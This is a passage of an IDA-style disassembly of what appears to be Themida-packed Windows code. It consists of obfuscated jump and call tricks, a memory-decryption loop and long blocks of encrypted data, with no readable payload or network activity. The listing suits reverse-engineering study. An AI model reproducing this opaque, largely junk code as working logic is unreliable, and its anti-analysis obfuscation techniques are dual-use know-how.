		or	[ecx+71h], dl
		dec	esp
		enter	0FFFFBD09h, 4Dh
		sub	eax, 6A0612h
		call	dword ptr [ebp+61229D1h]
		mov	eax, eax
		jmp	short loc_5EC7F5
; ---------------------------------------------------------------------------
		db 75h,	0A4h, 0DEh
		dd 17D9C3A8h, 579785EAh, 7576B050h, 44228935h, 6408A7F6h
		dd 90C59A8h, 7196B359h,	94D96E8Bh, 6B7176E4h, 0CD4626B2h
		dd 1B464C47h, 0C9940CCEh, 0D86AB99Bh, 534C2201h, 0F3168316h
		dd 7D280A42h, 0D9078FCAh, 0FB2898C3h, 3CC90FE3h, 0A03518Ah
		dd 0F0ECB36Fh, 0FC1D293Dh, 3859ED0h, 7FA6BF5Eh,	6ED57299h
		dd 1ED247C3h, 0B1C2E2C1h, 0A7E4F3E0h, 1AB31D96h, 0B4C3D519h
		db 1Ah
; ---------------------------------------------------------------------------


loc_5EC7F5:				; CODE XREF: Themida_:005EC777j
		lea	ecx, [ebp+6190DAAh]
		push	esi
		call	near ptr loc_5EC806+1
		sub	eax, 7EF273Ah


loc_5EC806:				; CODE XREF: Themida_:005EC7FCp
		jns	short near ptr loc_5EC866+2
		popa
		pop	edx
		pop	ebx
		jns	loc_5EC816
		and	ax, 0FADBh


loc_5EC816:				; CODE XREF: Themida_:005EC80Bj
		mov	[ebp+6122DCDh],	ecx
		xor	ax, 26ACh
		mov	dword ptr [ebp+61231BDh], 68B8h
		mov	[ebp+6122DC5h],	esi
		mov	dword ptr [ebp+6120011h], 0
		call	sub_5EC84D
		mov	edi, 0EA6F8B00h
		or	eax, 0BF0BBF59h
		int	26h		; DOS -	ABSOLUTE DISK WRITE (except DOS	4.0/COMPAQ DOS 3.31 >32M partn)
					; AL = drive number (0=A, 1=B, etc), DS:BX = Disk Transfer Address (buffer)
					; CX = number of sectors to write, DX =	first relative sector to write
					; Return: CF set on error
		out	dx, eax

; =============== S U B	R O U T	I N E =======================================



sub_5EC84D	proc near		; CODE XREF: Themida_:005EC83Bp
		mov	[ebp+6121925h],	ebx
		pop	eax
		push	dword ptr [ebp+61229E5h]
		add	[ebp+612221Dh],	eax
		xor	edi, 61A3E137h


loc_5EC866:				; CODE XREF: Themida_:loc_5EC806j
		call	dword ptr [ebp+6122781h]
		jmp	loc_5EC87D
; ---------------------------------------------------------------------------
		db 79h,	16h, 59h
		db 72h
; ---------------------------------------------------------------------------


loc_5EC875:				; CODE XREF: sub_5EC84D+49j
		xchg	eax, ebp
; ---------------------------------------------------------------------------
		dw 0D1C5h
; ---------------------------------------------------------------------------
		mov	dh, 43h
		push	ds
		inc	eax
		pop	eax


loc_5EC87D:				; CODE XREF: sub_5EC84D+1Fj
		push	0
		call	dword ptr [ebp+61229D1h]
		mov	eax, eax
		jmp	short loc_5EC891
; ---------------------------------------------------------------------------
		db 0Dh,	74h, 0C4h
		dd 0C8547E02h
; ---------------------------------------------------------------------------
		push	ebp


loc_5EC891:				; CODE XREF: sub_5EC84D+3Aj
		call	near ptr loc_5EC89C+2
		js	short loc_5EC875
		jg	short near ptr loc_5EC90C+4
		push	2Fh


loc_5EC89C:				; CODE XREF: sub_5EC84D:loc_5EC891p
		mov	edx, 0F2DF801Fh
sub_5EC84D	endp ; sp-analysis failed

		pop	edi
		mov	[ebp+61231D1h],	eax
		add	edi, 5DBFh
		mov	esi, [ebp+6122339h]
		push	1749h
		mov	[ebp+612139Dh],	esi
		pop	ecx
		mov	bh, 0Fh
; START	OF FUNCTION CHUNK FOR sub_5EC905


loc_5EC8C2:				; CODE XREF: sub_5EC905:loc_5EC923j
		mov	edx, [edi]
		mov	si, 0BF9Ch
		xor	edx, 13927C1Bh
		mov	esi, [ebp+612087Dh]
		add	edx, 0B5868C2h
		cmc
		sub	edx, 1B27CFF0h
		cmc
		push	edx
		mov	esi, [ebp+6122A19h]
		pop	dword ptr [edi]
		cmc
		sub	edi, 4
		mov	si, dx
		dec	ecx
		jnz	loc_5EC923
		call	near ptr sub_5EC905
		sar	bl, cl
		or	eax, 22137FE0h
; END OF FUNCTION CHUNK	FOR sub_5EC905

; =============== S U B	R O U T	I N E =======================================



sub_5EC905	proc far		; CODE XREF: sub_5EC905-Cp

; FUNCTION CHUNK AT 005EC8C2 SIZE 00000043 BYTES

		mov	[ebp+6120005h],	edx
		pop	esi


loc_5EC90C:				; CODE XREF: sub_5EC84D+4Bj
		jmp	loc_5EC935
; ---------------------------------------------------------------------------
		pop	edi
		push	ebp
		pop	eax
		mov	ds:63CD2A3Dh, eax
		retf
; ---------------------------------------------------------------------------
		dw 8329h
; ---------------------------------------------------------------------------
		push	ebx
		pop	edi
		mov	ebx, 146D78B3h


loc_5EC923:				; CODE XREF: sub_5EC905-12j
		jmp	loc_5EC8C2
; ---------------------------------------------------------------------------
		dd 0EE501536h, 0E804C546h, 0DDF85151h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EC935:				; CODE XREF: sub_5EC905:loc_5EC90Cj
		lea	ecx, [ebp+6190EF7h]
		push	0
		push	ebx
		call	sub_5EC946
		and	[ebx-3Dh], bl
sub_5EC905	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5EC946	proc near		; CODE XREF: sub_5EC905+39p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5EC946	endp

; ---------------------------------------------------------------------------
		jo	short near ptr loc_5EC95E+2
		xor	eax, [ebp+61225BDh]


loc_5EC95E:				; CODE XREF: Themida_:005EC956j
		mov	[ebp+6122DCDh],	ecx
		xor	[ebp+6121385h],	eax
		mov	[ebp+612173Dh],	eax
		mov	dword ptr [ebp+61231BDh], 621Ch
		mov	[ebp+6120089h],	edi
		add	ax, 80FFh
		mov	dword ptr [ebp+6120011h], 0
		mov	[ebp+6121D15h],	ebx
		movsx	edx, di
		push	dword ptr [ebp+61231F1h]
		mov	si, 9D8Eh
		call	dword ptr [ebp+6122781h]
		push	0
		push	ebp
		call	sub_5EC9B3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EC9B3	proc near		; CODE XREF: Themida_:005EC9ABp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5EC9B3	endp

; ---------------------------------------------------------------------------
		mov	fs, bp
		sub	[esi+6A9E2399h], bh
		add	bh, bh
		xchg	eax, ebp
		shr	dword ptr [ecx], 1
		adc	al, [esi]
		mov	eax, eax
		jmp	short loc_5ECA54
; ---------------------------------------------------------------------------
		dw 2922h
		dd 0FE20C074h, 89BA69B8h, 29C03359h, 86049BAh, 6F27BAA7h
		dd 0EAD87DD6h, 9ADE86C0h, 7D295D95h, 0EBD95F81h, 4BF17428h
		dd 0B57CB106h, 0E7E8CA5Ch, 62C3DBE3h, 75C9C66Dh, 6E20D09Eh
		dd 5C206EA0h, 7D87E547h, 2C7A55Fh, 8AA1622Fh, 0C9628704h
		dd 65234E89h, 0D50175FAh, 0E79F403Bh, 97F947B0h, 1DC2565Bh
		dd 93C79C47h, 3EEC8158h, 191E1A26h, 3041EF11h, 0D7FE796Fh
		dd 0B343212Fh
; ---------------------------------------------------------------------------


loc_5ECA54:				; CODE XREF: Themida_:005EC9D4j
		jmp	loc_5ECB33
; ---------------------------------------------------------------------------
		add	eax, 0D73E5737h
		pushf
		inc	ebp
		retf	0C8C3h
; ---------------------------------------------------------------------------
		db 0E1h
		dd 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh
		dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h
		dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h
		dd 97B1EFh, 0A5B4F94Eh,	6B5C009Fh, 924AF07Bh, 52D0008Ah
		dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh
		dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h
		dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh
		dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h, 0F0A8CDh
		dd 0
		dd 129D7447h, 5E99E0E3h, 8 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5ECB33:				; CODE XREF: Themida_:loc_5ECA54j
		jmp	loc_5EE002
; ---------------------------------------------------------------------------
		push	6191245h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	619133Bh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	619140Fh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6191532h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61915B9h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6191696h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6191744h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61917F2h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	619189Ch
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6191A09h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6191B16h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6191CB4h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6191D99h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6191F00h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	6192015h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	61921A9h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	619228Dh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		dw 276Ah
		dd 8A029BE8h, 0EB9F3885h, 513ED724h, 0B5D871BEh, 981D0D5Ah
		dd 8BD83756h, 297699F2h, 0C20F0090h, 5DAA6529h,	5B2C3483h
		dd 284DF870h, 1C72754Bh, 5FF0979Fh, 0C1CA47DFh,	40ABB64Eh
		dd 0C34C420Bh, 21101976h, 8D345A62h, 485349F1h,	8E90FB13h
		dd 24634DF1h, 8E82050Dh, 0F6014DF1h, 0C3CA1763h, 24AECDC3h
		dd 3818h, 0A5AE6A00h, 0FF0DF702h, 43AEA406h, 0C94A7C84h
		dd 0ACAD49F1h, 0DB8770E1h, 0C3B2F16Fh, 752EED58h, 0F0C3F817h
		dd 2B60785Dh, 0C84DF1B9h, 665E35ACh, 0B324AEA7h, 0D4h
		dd 0F31C7205h, 0B1DE97BEh, 0D3BACB5Eh, 503E073Ch, 454700BFh
		dd 895237CAh, 0D5BD0A05h, 47DF5A90h, 226FA0EEh,	7B0C142Bh
		dd 847DF63h, 35596AFDh,	95FA611Ch, 0A20D41A7h, 0EAD7E06Dh
		dd 48B7232Bh, 0E8FF49F2h, 0F242A7E0h, 36C9D44Dh, 0B3D725EEh
		dd 540C601Fh, 0B9A92AE9h, 0BD003D2Ah, 0C72421B4h, 1018D7BEh
		dd 50046576h, 0ED9AA201h, 8E47E62Dh, 0A0591883h, 0AA6322EDh
		dd 21F429E6h, 95F8918Eh, 0E9000DBCh, 643626C0h,	43ED920Ch
		dd 72F15CC7h, 0EDBF8FB7h, 524F16BBh, 2D000012h,	0C55EAB64h
		dd 62FB48C7h, 19AE728h,	9B34818Eh, 0E0D01DF2h, 9B7419D5h
		dd 39D6B54Eh, 0D23D53ECh, 6DA2EC85h, 0EFF74620h, 4DF87198h
		dd 72380EEBh, 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0F17ECDF9h
		dd 6E2D3849h, 439D6B5h,	51BED031h, 0F9B2D9BEh, 86E67996h
		dd 4DF18105h, 780FD2EEh, 24AEDF18h, 0E1CDh, 0A15DDE00h
		dd 0B1DB5560h, 75121AD9h, 64DF1B7h, 723A68FBh, 0F5BEF31Ch
		dd 0FFB87798h, 7A4D828Dh, 7BEA02E7h, 0BF47DF5Ah, 0FCF340CFh
		dd 63AADDE5h, 0CED947DFh, 0AB642A3Bh, 30384F76h, 47DF6357h
		dd 0B1861924h, 0F2FAB9A8h, 49F164E8h, 887FCCD7h, 1C51BECFh
		dd 6E9AEDF5h, 0DEE94DF1h, 20BE073h, 474C5413h, 2C500411h
		dd 71E16221h, 2BB8581h,	17F898F9h, 315C1584h, 905828Ah
		dd 6B7647E6h, 731AB300h, 0CC161D9Ch, 973CEDBFh,	115CD0h
		dd 0B55A3700h, 52BDCF68h, 0F11E6C05h, 8B840BA4h, 27E8A53Eh
		dd 23CBEADAh, 0BF58A56Ah, 5DF643CCh, 0F68FDC33h, 502A7798h
		dd 728EF901h, 10ED4DF8h, 0F5FD143Ah, 47DF5F92h,	4253E6F1h
		dd 0DE77C44Bh, 0C082A1B0h, 9AF61A74h, 0BA163C71h, 0A30E7FA6h
		dd 5B14A056h, 0B7FE02Fh, 69FCCF04h, 0A4D93658h,	0DFAD667Dh
		dd 7828FB30h, 47DF600Fh, 0BDCE616Ch, 58F13ED1h,	0DFA8DD32h
		dd 0A31360AFh, 0E2CFD8A1h, 75331B23h, 475249F1h, 0C9040788h
		dd 889E2CF2h, 7A14F4F5h, 805E5BD2h, 0C3CB8A77h,	3B89CE4Bh
		dd 6DFA2F3Ah, 0B6BE7D64h, 417D505Fh, 0C34C4344h, 22FDFD8Eh
		dd 19B89BF9h, 0CB8443AEh, 0D48D4CC3h, 512459B6h, 6628C1BEh
		dd 3A232AA9h, 8A2F1C26h, 1088C3h, 0E12E6300h, 7E91FB94h
		dd 1DF29831h, 0B75837D0h, 53BCD16Ah, 4F9F1606h,	0EB84D13Eh
		dd 89226FA0h, 22BB0807h, 7C56A36Ch, 7362252Dh, 44214DF8h
		dd 3B93146Eh, 0EFF1BB3Bh, 6F1F30C3h, 8B446BA0h,	0A87D10FFh
		dd 0EBF3B29Fh, 49F20943h, 0C54A4142h, 0A7B00D5Ah, 0BF3FBBAh
		dd 3A5003F8h, 5159702Fh, 47DFE436h, 0C2A73A45h,	0DFE3E1AAh
		dd 0EBF61247h, 0BC7A2CA4h, 48F922h, 510A0000h, 0CC9FD43Bh
		dd 0A5AE0B39h, 7F901C0h, 3A49F1AEh, 0CEF12871h,	0C77523Dh
		dd 16F9944Dh, 0C7B0EE1h, 85D23D53h, 0F257F09Dh,	4FC0CE4Dh
		dd 0E8276902h, 0BC758CB3h, 35083DD2h, 0F2580285h, 0E376814Dh
		dd 0FC8D4h, 0A5AE3E00h,	0E8F901C0h, 0D749F66Fh,	3A540DCCh
		dd 9FEF88D5h, 929AB170h, 4DF86FF5h, 3E87B86h, 0C9886D76h
		dd 0F7D47C1h, 702F3A50h, 0EB38D7B7h, 9ED33C52h,	5A190811h
		dd 7E4C3B43h, 629E47DFh, 276C9420h, 0E6A5B048h,	0E02DA9DEh
		dd 3CCFDA47h, 4DADC5CDh, 8D9849F2h, 0ABB4310Eh,	0D59C41EBh
		dd 0F65h, 71BE5140h, 0E5BB4D8h,	0ADFA1575h, 47947B14h
		dd 0E330DFAEh, 612CC2F3h, 0C3C861AEh, 2A66FF4Ch, 8FFF98E5h
		dd 0A593380h, 0F8748502h, 4319F64Dh, 0DF5F6823h, 7273F447h
		dd 84528472h, 8A81060Eh, 0F70247DFh, 211D638Ch,	9F5915D9h
		dd 472E370Ch, 6CC08088h, 0E8F349F7h, 0F11E7029h, 96830BA4h
		dd 7AAF1AF5h, 8307E4EDh, 1984578Ch, 63DC525Ah, 0BC4500Bh
		dd 82558A85h, 1D9CA7EFh, 0EDB28838h, 0DEAE751Ah, 0B900000Eh
		dd 51EA37D8h, 0EE87D43Bh, 8D26739Ch, 27C00D02h,	6C5CA966h
		dd 27E8A549h, 0C54A41DAh, 5EB1DF78h, 0F9167811h, 7B83D2ACh
		dd 4DF8750Ch, 72BC926Fh, 7F90FD1Ch, 4D0C774Ah, 6C22F794h
		dd 309B6EA3h, 9FEFB89Dh, 0C1503B70h, 0FC8B93AAh, 7F47DF5Fh
		dd 5FC3C474h, 0B5C047DFh, 840BD622h, 22BCE20Ch,	965D9h
		dd 5B142B00h, 754ADD32h, 222EC76Ch, 0DB10FF90h,	1AF8DF08h
		dd 21276068h, 495447E0h, 9DB473DEh, 1172E51Ch, 0CAC0B6FEh
		dd 1379DA45h, 2A0969FCh, 9949F6CAh, 0FFB8CF8Eh,	6A21828Dh
		dd 8D0112A5h, 0F29C3582h, 0BBD0E81Dh, 3B4DF8B1h, 0AEE28532h
		dd 0B9AAFB14h, 931D6390h, 7EE9E0CBh, 938606BFh,	15A813FCh
		dd 0FA909EA6h, 2C37500Ah, 0B2FF3EADh, 480FB4EDh, 0E01h
		dd 0D5AB5DCh, 0AAF71874h, 49967911h, 0E330DFB0h, 7FCC434Ah
		dd 0C5C8268Fh, 2764FD4Ah, 8E029BE8h, 0F39B3481h, 0A6F5CF1Ch
		dd 0F875E99Eh, 0E7BD9A4Dh, 0BEF31C72h, 0B77699F5h, 5FEF98A0h
		dd 818C47DFh, 4F4009EEh, 0CCC28BC0h, 95490E43h,	0A814974Ch
		dd 0F4975039h, 3BA66925h, 0E25B3BA8h, 8B9022BCh, 0E2000008h
		dd 0DF5F6823h, 0A0858E47h, 0B76228E1h, 2E0136D9h, 0B9C130C3h
		dd 49F66FBAh, 661FDEE9h, 0ED5C2928h, 64DAE9Ah, 0D9B54E9Bh
		dd 6B740136h, 6FBFC786h, 0EF500B67h, 9CD25A6Eh,	18AB1409h
		dd 0AF46C5D0h, 23EDB2DFh, 0D53B77Eh, 632E0000h,	0C6C65FACh
		dd 2763FC49h, 8D029BE8h, 0F19C3582h, 0D4E1D11Eh, 4F9C731Ah
		dd 0ED3AD5B6h, 86D33C54h, 216EA1EDh, 97F0F847h,	0E44DF876h
		dd 1C723107h, 0F7B34F3h, 588D820Ah, 0A2871A85h,	41CEC27Bh
		dd 95A6390Ch, 0F6E116F9h, 5030578Ah, 8522BCE2h,	7EAh, 0C0A5AED7h
		dd 6FA9F901h, 899449F6h, 0C632B3CAh, 40AE30BBh,	29E6A506h
		dd 6098596h, 0A16E20B9h, 4737546Ch, 0B6BF4DF9h,	260810CFh
		dd 7A500B5Ah, 6EB088F9h, 56AE8A48h, 9355EF7h, 384F57D3h
		dd 4B47EAD9h, 0FA42D540h, 127D92F9h, 0B21CCC93h, 0FAC166EDh
		dd 0CA5h, 0B1FE1180h, 4E9B7418h, 0ED3AD5B5h, 87D43B54h
		dd 23709FEEh, 216C8233h, 8308A1EEh, 0EAA63F8Ch,	4F3FD825h
		dd 4A9973C0h, 0F8764542h, 8359364Dh, 0BEF31C72h, 0B899F5h
		dd 0C620F6B1h, 0B16A2994h, 0B99E31DEh, 87F62CEh, 22BC8E88h
		dd 7415Dh, 6723AF00h, 8947DF5Fh, 0CAD29180h, 49F66F7Bh
		dd 0A7BE7D88h, 0F86EE89Fh, 0FD909B4Dh, 56B9D58Eh, 0F11E7009h
		dd 81262FBCh, 5B302F8Eh, 83AC7FB4h, 0D7428B72h,	0A7C61018h
		dd 0F30A500Ah, 0EA839CEBh, 41D4DF47h, 0F5929AF9h, 8647EA83h
		dd 0C491107Bh, 6EEDB241h, 0BFB02C9h, 0BBD60000h, 1E6E0754h
		dd 7F0BA4F1h, 0E5AA4390h, 4944DD2Ah, 2C8979C6h,	0F744CBC2h
		dd 95E22D5Eh, 2E7B94FCh, 0C916F995h, 0EF98A0EFh, 8C4DF877h
		dd 5B14D9AFh, 3C4DE02Fh, 0BF88BD52h, 2C0B40CFh,	975039A8h
		dd 13E61BF4h, 0F01F6F80h, 0FED6AEA3h, 840322BCh, 55000001h
		dd 0BEF31C72h, 43F91697h, 955729FDh, 19AC17F8h,	3C898608h
		dd 30EFD6DFh
		dd 0E02F6019h, 0E545D8ABh, 49F289A9h, 5EB1DBDCh, 0E32C6029h
		dd 570DBAEh, 31D3B8D0h,	0A9E74DF2h, 24683166h, 0F008AEBh
		dd 9B4632DAh, 319DEAF2h, 0D3DE4DF2h, 0BD244068h, 9D721BD4h
		dd 30259D0Ah, 33F224AEh, 44000000h, 1C0A5AEh, 0F17ECDF9h
		dd 0F82D3849h, 0F2D50D1h, 0A7AA0DC9h, 93C84746h, 0BECD2DC0h
		dd 354DF1AFh, 0C1C1C819h, 0A924AEAEh, 0DC6FA0F0h, 0E4DAh
		dd 5B142C00h, 0E2ABE02Fh, 5B2E63ACh, 424C5DF0h,	0BECF98CDh
		dd 3B531C51h, 600F7880h, 2CDB47DFh, 6179CA4Ch, 2D98A33Bh
		dd 7618D1F8h, 0D2916499h, 0DF67BDCAh, 20B3BE47h, 43907F0Fh
		dd 0DF8C3A5Bh, 0E12E6047h, 472E3794h, 0D3B87188h, 0D049A93Ch
		dd 0AF49F225h, 612CE5A4h, 5536EFAEh, 0D83759BAh, 403DD0A3h
		dd 2B05C849h, 0ED5D73F1h, 0F363A2E5h, 6BD6E14Dh, 53C6C7D8h
		dd 0ED6CD738h, 0EBAD6156h, 8EB0771Ch, 6900000Ah, 19AE728h
		dd 9E37848Bh, 3DD623ECh, 0D770BD52h, 1C0C59B6h,	0D7385599h
		dd 759AF18Ah, 0E018F28h, 0A96628C1h, 2B33825Ch,	4DF8795Ch
		dd 726C421Fh, 0C0BA361Bh, 0CC4EE83Ch, 9C1D1461h, 0D87CE47Ah
		dd 3849DC9Bh, 0E3FAB956h, 0FCAC632Ah, 47DFA18Bh, 7798F7F8h
		dd 0A3046F42h, 949124EBh, 0F31C72DEh, 7699F5BEh, 5109229h
		dd 0AEFC0000h, 0C3B102A5h, 0ACEA0845h, 636B8241h, 47DFF024h
		dd 4AB94C57h, 0F1F93842h, 9D5C6749h, 1A79DC1Ch,	3FD262E2h
		dd 137A335Ah, 820969FCh, 384DF168h, 44CBC455h, 9CD13C0Fh
		dd 2055BAD3h, 513AA75Bh, 0F1693E49h, 0C7323D4Dh, 275E839Fh
		dd 24AEF7AFh, 2427Ch, 6123CE00h, 0ED47DF5Fh, 57B85734h
		dd 0CFA2D738h, 775E673Ch, 6FCBB0B8h, 0EDF849F6h, 0F619752Eh
		dd 917E10A9h, 0C3B4355Ch, 2E43336Bh, 9DE71h, 0F5995211h
		dd 7F12E51Ah, 49CE0810h, 2E39500Bh, 0B2A70EAFh,	783FE4EDh
		dd 981h, 8DDA355Ch, 2A7798F4h, 0C916F991h, 63B05F30h, 0FF4CC3CAh
		dd 4548A60Fh, 0A7E47DCAh, 0E821B68h, 731BB401h,	26754F9Ch
		dd 0F87A691Eh, 673D1A4Dh, 0BEF31C72h, 78D61697h, 56E95E20h
		dd 0E37699F5h, 1E53BCD2h, 0BB26BB3Fh, 0CF4A46D3h, 4A1D52BDh
		dd 322774DFh, 22BC6E52h, 19A87h, 0AFDF9800h, 729FCD60h
		dd 0F5BEF31Ch, 6D1A2299h, 0E47DF5Fh, 0EE4B9803h, 8D820AE5h
		dd 335B6322h, 2B49F18Dh, 0BDF21D72h, 0E7996F4h,	0CCD4337Bh
		dd 4DF18EBBh, 1D52BDC8h, 0F18E8605h, 90516D4Dh,	0AECD99F9h
		dd 604E24h, 0DE5F0000h,	46EA320Ch, 0ADDB6E53h, 1C0A5AEh
		dd 608B9680h, 0B1704744h, 0E04CDEA9h, 0FF929D47h, 6C3E8890h
		dd 3E4949F2h, 51C8C67Fh, 416AD53Ah, 0B7D68220h,	856AFDBCh
		dd 0F1C31E6Dh, 28B9D54Dh, 26E9A65Fh, 0BDF51EF1h, 8EA93991h
		dd 8B0B780Bh, 0F324AECBh, 0B6504072h, 8316119Eh, 0D281h
		dd 1C72D300h, 477C93FDh, 0BD40974h, 8F588D82h, 985110FFh
		dd 0AB6426F3h, 0A538A376h, 7897F7C0h, 0A842432Bh, 0F30A47DFh
		dd 86BB543Ah, 0B28403B3h, 0ECF747DFh, 0B1A045C3h, 16A9B00Bh
		dd 0FB908905h, 0A10CDF14h, 7EEF754h, 14FB8F48h,	0D7B0B8DFh
		dd 0A447DFB5h, 2C9B2E99h, 0F257F524h, 8C7D249h,	5B9EE9F1h
		dd 0DCDD4DF4h, 572A5FB0h, 0C038BECh, 27104D7h, 0CCB4449h
		dd 0AAE23753h, 0F25D3065h, 5A57EABDh, 7985CCC1h, 68507D8Fh
		dd 0CD7AF964h, 25EBAD6Ah, 7E3B980h, 0D3BE0000h,	3656EF3Ch
		dd 97F38CD9h, 0FD922B78h, 612CC512h, 447161AEh,	0DF2CE3AAh
		dd 7DCA4546h, 1663ACE4h, 0B1FE117Dh, 78088D7h, 744DF87Ch
		dd 1B72C197h, 800EA7F4h, 728C428Fh, 0F5BEF31Ch,	6D1A2299h
		dd 0E47DF5Fh, 0B44B9803h, 282h,	0C9BEC6DDh, 0BA47DF5Fh
		dd 0AEEE1CAFh, 0F901C0A5h, 49F66FACh, 13747CDBh, 704DF870h
		dd 0ADC5FA65h, 4DF86FDEh, 285DB2DCh, 0ABE02F5Fh, 15CA1703h
		dd 7910D1EDh, 24A5EE19h, 63C7E061h, 0B4B9AC2Fh,	0F8BFDBACh
		dd 329DA84Dh, 2139D9Fh,	0F5AE0000h, 30C7E9Bh, 23D70598h
		dd 47DF5F61h, 0D8977E87h, 0F66FDDD0h, 0A7E9EA49h, 853EFD68h
		dd 20B90609h, 42454D6Eh, 414DF870h, 996CB36h, 99521100h
		dd 168518F7h, 0A85C80Eh, 0A5242F50h, 0EDB26000h, 0FEE6AD52h
		dd 0D9000006h, 710A57B8h, 0EA7F41Bh, 0AD46937Ch, 47E02DE2h
		dd 8C7CC946h, 47C8C529h, 0E52A61FAh, 7E91FF98h,	19F69831h
		dd 9BA3F2CCh, 4DF87CECh, 72DCB28Fh, 97BEF31Ch, 295EB1DEh
		dd 0DCB2C356h, 9B1FFE33h, 0C8F39B46h, 0DF5FC7C0h, 3EA9B447h
		dd 784FE7Fh, 0EE57C672h, 0D80D028Dh, 80757205h,	22BC0000h
		dd 164D5h, 5F2DE600h, 6A33545Ch, 455047E0h, 3FD2A5DAh
		dd 351C7211h, 52AE3248h, 0C2F762CAh, 88495F9h, 94FFD207h
		dd 0F4E1EA47h, 0FD612D35h, 192449F1h, 0BDBFCCE4h, 18344DF1h
		dd 0BCC2C2C9h, 29AA24AEh, 951819DEh, 8A8C1FA6h,	44h, 66A9E29Bh
		dd 5B14A5D3h, 0D6A9DE31h, 0C0F51A75h, 7C855AEDh, 683E8ED7h
		dd 81EC3AC8h, 600CBAC2h, 0D35449F2h, 0D36AB08Ch, 64EE154h
		dd 19848B05h, 5ABFCCE4h, 18344DF2h, 5C2C2C9h, 0BC1724AEh
		dd 69000000h, 0BEF31C72h, 0A3B998F5h, 3B25361h,	99629702h
		dd 1CE51AF5h, 0C7DE9D72h, 9DFA8B0h, 919C47E0h, 0E009A6E1h
		dd 37CAD547h, 242C433Ah, 47E00963h, 0DAB41520h,	7342A235h
		dd 5747E07Bh, 63ACE237h, 454EABF8h, 1320A160h, 5C8BE340h
		dd 1F279629h, 49F204FAh, 661FDEE9h, 589EA25h, 4F08770Ah
		dd 0EB84D13Eh, 0ADEE6DA2h, 0C5EBADCFh, 5975920h, 1F720000h
		dd 820AA3F0h, 0E3A7408Dh, 4946DF2Ch, 0ADE079C6h, 90251562h
		dd 93E02F5Eh, 317E91FAh, 0CA17F898h, 65B25D31h,	53343C8Bh
		dd 304DF87Eh, 1B727D53h, 800EA7F4h, 5F54333Bh, 0C82747DFh
		dd 0DF5FC7C0h, 3EA9B447h, 72D086D3h, 0F5BEF31Ch, 2934B899h
		dd 5F4AFC2h, 9D564D9Ah,	7D8C1FF0h, 22h,	0F31C72E7h, 8099F5BEh
		dd 6196010Eh, 0BF2AB7CBh, 8140CFh, 0FE2FEFC7h, 2623B6F8h
		dd 128Fh, 1C72F900h, 0E8A6BEF3h, 8547DF5Fh, 117D6879h
		dd 14FBB1FEh, 7C1F325Bh, 24707A50h, 3546D944h, 42CFF859h
		dd 669B4E27h, 3039C6FBh, 0B26B8241h, 43A336D9h,	49F6B19Eh
		dd 2C43020Dh, 0A01C56ABh, 56E9F8CBh, 79C64945h,	2C61AEE0h
		dd 0F0AF969Fh, 25B85737h, 0C5AAEB6h, 1A255010h,	23ECA25Bh
		dd 42454D64h, 7847DFF0h, 965FF718h, 0A0A18855h,	48A9142Ah
		dd 3835C847h, 0EB20EF9Fh, 0B170555Eh, 0F250C9A9h, 6AE9F449h
		dd 0EBABA85Bh, 820BD277h, 5D000004h, 0F58EDB34h, 922B7897h
		dd 31CA17F8h, 0CB64B15Eh, 10004DC2h, 0CB4449A5h, 69A6E57Eh
		dd 20D831Ch, 9D721CB5h,	1F277650h, 4DF87F68h, 72683E1Bh
		dd 1D34F31Ch, 35E52A64h, 47DF5F52h, 0B15E3031h,	153EA97Ch
		dd 0C8BA923Ch, 5C59ECD1h, 0F44CBC3h, 0B15E2FE8h, 8E810D1Eh
		dd 0EBF67A59h, 4838BA2h, 5047DFD8h, 0DFD83F48h,	99313C47h
		dd 0A4EAFB8Eh, 0FF80F7ADh, 0D23DF077h, 69309085h, 0BF7822BCh
		dd 380B40CFh, 2DA3A5h, 0AEF50000h, 0F901C0A5h, 49F1AE07h
		dd 0B7702F3Ah, 1E936D9h, 4DF1AD8Ch, 66B35C32h, 174CC3CDh
		dd 15BB6FF0h, 0FD28B73Bh, 3CB5B6Ah, 72C50000h, 0F5BEF31Ch
		dd 32297699h, 0C5FA1579h, 73F78334h, 0E6512D63h, 90757E53h
		dd 60C5C9D1h, 0B5C049F2h, 5B236880h, 0B4D04DF2h, 196E662Dh
		dd 2FBB24AEh, 0D000000h, 1C0A5AEh, 0F17ECDF9h
